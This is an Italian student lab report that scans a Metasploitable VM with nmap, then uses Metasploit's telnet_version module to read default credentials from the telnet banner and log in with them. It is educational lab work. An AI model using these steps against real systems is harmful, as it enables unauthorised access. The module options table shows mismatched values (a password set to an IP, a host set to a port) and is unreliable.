

Report Esercizio

W16-D2



Redatto da Andrea Sciattella

05/06/2024

TRACCIA

Traccia: Sulla base dell'esercizio visto in lezione teorica, utilizzare Kali per sfruttare la vulnerabilità relativa a Telnet con il modulo `auxiliary telnet_version` sulla macchina Metasploitable.

Requisito: Seguire gli step visti in lezione teorica. Prima, configurate l'IP della vostra Kali con 192.168.1.25 e l'IP della vostra Metasploitable con 192.168.1.40.

MESSA IN PRATICA ESERCIZIO: EXPLOIT TELNET CON METASPLOIT

- Configuriamo il laboratorio delle due macchine modificando gli indirizzi IP come richiesto dalla traccia, successivamente verifichiamo la connettività. Ora possiamo procedere con una scansione della macchina per confermare il nostro bersaglio.

```
(kali@kali)-[~]
$ sudo nmap -sT 192.168.1.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-05 16:46 EDT
Nmap scan report for 192.168.1.40
Host is up (0.00043s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:41:3C:B8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds
```

- Confermiamo il nostro obiettivo alla porta 23 (servizio **TELNET**) e proseguiamo accedendo alla console di metasploit con "**msfconsole**".


```
Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ----      -
  PASSWORD  192.168.1.40           no        The password for the specified username
  RHOSTS    23                       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     23                       yes       The target port (TCP)
  THREADS   1                       yes       The number of concurrent threads (max one per host)
  TIMEOUT   30                      yes       Timeout for the Telnet probe
  USERNAME  no                       no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > █
```

- Inserito l'host con la nostra macchina target **Metasploitable** (192.168.1.40), possiamo andare ad eseguire il nostro modulo con run o exploit.

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
Warning: Never expose this VM to an untrusted network!\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get started
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > █
```

- "Auxiliary module execution completed" significa che la nostra operazione è riuscita ed abbiamo recuperato delle credenziali "**msfadmin/msfadmin**".

```
(kali@kali)~$ telnet 192.168.1.40
Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^'.

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Wed Jun  5 16:45:17 EDT 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$ █
```

- Collegiamo alla macchina obiettivo con il servizio telnet per provare la veridicità delle credenziali e... **siamo dentro!**